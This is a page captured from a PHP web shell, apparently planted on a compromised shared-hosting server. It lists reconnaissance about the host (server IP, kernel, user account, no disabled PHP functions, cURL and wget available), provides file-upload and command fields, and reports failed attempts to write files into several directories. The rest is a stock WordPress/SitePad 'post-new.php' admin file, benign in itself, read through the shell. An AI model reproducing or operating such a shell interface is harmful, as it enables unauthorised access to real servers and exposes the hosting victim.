Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.15.195.108
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/root/proc/self/root/var/softaculous/sitepad/editor/site-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/proc/self/root/var/softaculous/sitepad/editor/site-admin//post-new.php
<?php
/**
 * New Post Administration Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Administration Bootstrap */
require_once( dirname( __FILE__ ) . '/admin.php' );

/**
 * @global string  $post_type
 * @global object  $post_type_object
 * @global WP_Post $post
 */
global $post_type, $post_type_object, $post;

if ( ! isset( $_GET['post_type'] ) ) {
	$post_type = 'post';
} elseif ( in_array( $_GET['post_type'], get_post_types( array( 'show_ui' => true ) ) ) ) {
	$post_type = $_GET['post_type'];
} else {
	wp_die( __( 'Invalid post type.' ) );
}
$post_type_object = get_post_type_object( $post_type );

// SiteMush changes
if('page' == $post_type){

	$count_pages = wp_count_posts('page');
	$total_page_count = (int) array_sum((array)$count_pages); //Exclude header and Footer from total page count
	
	// Make a limit check for Pages..
	if(!empty($sitepad['features']['pages']) && $total_page_count >= $sitepad['features']['pages'] ){
		// You have corssed the limit of pages allowed
		wp_redirect( admin_url( 'edit.php?post_type=page&error_type=pages'));
		exit;
	}

	// Insert the blog page
	$new_post['post_content'] = '';
	$new_post['post_title'] = 'New Page';
	$new_post['post_name'] = 'page';
	$new_post['post_type'] = 'page';
	$new_post['post_status'] = 'draft';
	
	// Now insert the post
	$ret = wp_insert_post($new_post);
	
	wp_redirect( pagelayer_livelink($ret) );
	exit;
	
}

if ( 'post' == $post_type ) {
	$parent_file  = 'edit.php';

	// Insert the blog post
	$new_post['post_content'] = '';
	$new_post['post_title'] = 'New Post';
	$new_post['post_name'] = 'post';
	$new_post['post_type'] = 'post';
	$new_post['post_status'] = 'draft';
	
	// Now insert the post
	$ret = wp_insert_post($new_post);
	
	wp_redirect( pagelayer_livelink($ret) );
	exit;

	$submenu_file = 'post-new.php';
} elseif ( 'attachment' == $post_type ) {
	if ( wp_redirect( admin_url( 'media-new.php' ) ) ) {
		exit;
	}
} else {
	$submenu_file = "post-new.php?post_type=$post_type";
	if ( isset( $post_type_object ) && $post_type_object->show_in_menu && $post_type_object->show_in_menu !== true ) {
		$parent_file = $post_type_object->show_in_menu;
		// What if there isn't a post-new.php item for this post type?
		if ( ! isset( $_registered_pages[ get_plugin_page_hookname( "post-new.php?post_type=$post_type", $post_type_object->show_in_menu ) ] ) ) {
			if ( isset( $_registered_pages[ get_plugin_page_hookname( "edit.php?post_type=$post_type", $post_type_object->show_in_menu ) ] ) ) {
				// Fall back to edit.php for that post type, if it exists
				$submenu_file = "edit.php?post_type=$post_type";
			} else {
				// Otherwise, give up and highlight the parent
				$submenu_file = $parent_file;
			}
		}
	} else {
		$parent_file = "edit.php?post_type=$post_type";
	}
}

$title = $post_type_object->labels->add_new_item;

$editing = true;

if ( ! current_user_can( $post_type_object->cap->edit_posts ) || ! current_user_can( $post_type_object->cap->create_posts ) ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to create posts as this user.' ) . '</p>',
		403
	);
}

$post    = get_default_post_to_edit( $post_type, true );
$post_ID = $post->ID;

/** This filter is documented in site-admin/post.php */
if ( apply_filters( 'replace_editor', false, $post ) !== true ) {
	if ( use_block_editor_for_post( $post ) ) {
		include( ABSPATH . 'site-admin/edit-form-blocks.php' );
	} else {
		wp_enqueue_script( 'autosave' );
		include( ABSPATH . 'site-admin/edit-form-advanced.php' );
	}
}

include( ABSPATH . 'site-admin/admin-footer.php' );

Youez - 2016 - github.com/yon3zu
LinuXploit